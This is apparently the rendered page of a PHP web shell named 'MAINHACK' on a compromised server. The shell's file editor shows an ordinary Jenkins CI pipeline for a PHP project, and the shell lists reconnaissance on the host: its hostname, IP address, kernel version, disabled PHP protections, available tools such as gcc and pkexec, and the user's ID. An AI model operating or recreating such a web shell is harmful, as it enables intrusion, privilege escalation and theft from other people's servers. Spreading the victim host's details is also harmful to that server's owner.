[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Jenkinsfile
pipeline { agent none stages { stage('Notify') { steps { slackSend (color: '#FFFF00', message: "STARTED: Job '${env.JOB_NAME} [${env.BUILD_NUMBER}]' (${env.BUILD_URL})") } } stage('test') { parallel { stage('php:5.5') { agent { docker { image 'php:5.5' args '-u root:sudo' } } steps { withCredentials([ file(credentialsId: 'ssh_private_key_file', variable: 'SSH_PRIVATE_KEY_FILE') ]) { sh ''' bash -x jenkins-ci.sh php vendor/bin/phpunit php vendor/bin/phpcs --standard=PSR2 -n lib tests *.php ''' } } post { always { sh 'rm -R vendor/' } } } stage('php:5.6') { agent { docker { image 'php:5.6' args '-u root:sudo' } } steps { withCredentials([ file(credentialsId: 'ssh_private_key_file', variable: 'SSH_PRIVATE_KEY_FILE') ]) { sh ''' bash -x jenkins-ci.sh php vendor/bin/phpunit php vendor/bin/phpcs --standard=PSR2 -n lib tests *.php ''' } } post { always { sh 'rm -R vendor/' } } } stage('php:7.0') { agent { docker { image 'php:7.0' args '-u root:sudo' } } steps { withCredentials([ file(credentialsId: 'ssh_private_key_file', variable: 'SSH_PRIVATE_KEY_FILE') ]) { sh ''' bash -x jenkins-ci.sh php vendor/bin/phpunit php vendor/bin/phpcs --standard=PSR2 -n lib tests *.php ''' } } post { always { sh 'rm -R vendor/' } } } stage('php:7.1') { agent { docker { image 'php:7.1' args '-u root:sudo' } } steps { withCredentials([ file(credentialsId: 'ssh_private_key_file', variable: 'SSH_PRIVATE_KEY_FILE') ]) { sh ''' bash -x jenkins-ci.sh php vendor/bin/phpunit php vendor/bin/phpcs --standard=PSR2 -n lib tests *.php ''' } } post { always { sh 'rm -R vendor/' } } } stage('php:7.2') { agent { docker { image 'php:7.2' args '-u root:sudo' } } steps { withCredentials([ file(credentialsId: 'ssh_private_key_file', variable: 'SSH_PRIVATE_KEY_FILE') ]) { sh ''' bash -x jenkins-ci.sh php vendor/bin/phpunit php vendor/bin/phpcs --standard=PSR2 -n lib tests *.php ''' } } post { always { sh 'rm -R vendor/' } } } } } stage('Trigger') { agent any when { anyOf { branch 'develop' branch 'master' } } steps { withCredentials([usernamePassword(credentialsId: 'auth_access', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD')]) { sh ''' URL='https://jenkins.fedapay.com/crumbIssuer/api/xml?xpath=concat(//crumbRequestField,":",//crumb)' CRUMB=$(curl -s $URL --user ${USERNAME}:${PASSWORD}) curl -X POST -H "$CRUMB" --user ${USERNAME}:${PASSWORD} https://jenkins.fedapay.com/job/fedapay-checkout/job/${BRANCH_NAME}/build ''' } } } } post { success { slackSend (color: '#00FF00', message: "SUCCESSFUL: Job '${env.JOB_NAME} [${env.BUILD_NUMBER}]' (${env.BUILD_URL})") } failure { slackSend (color: '#FF0000', message: "FAILED: Job '${env.JOB_NAME} [${env.BUILD_NUMBER}]' (${env.BUILD_URL})") } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.66 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002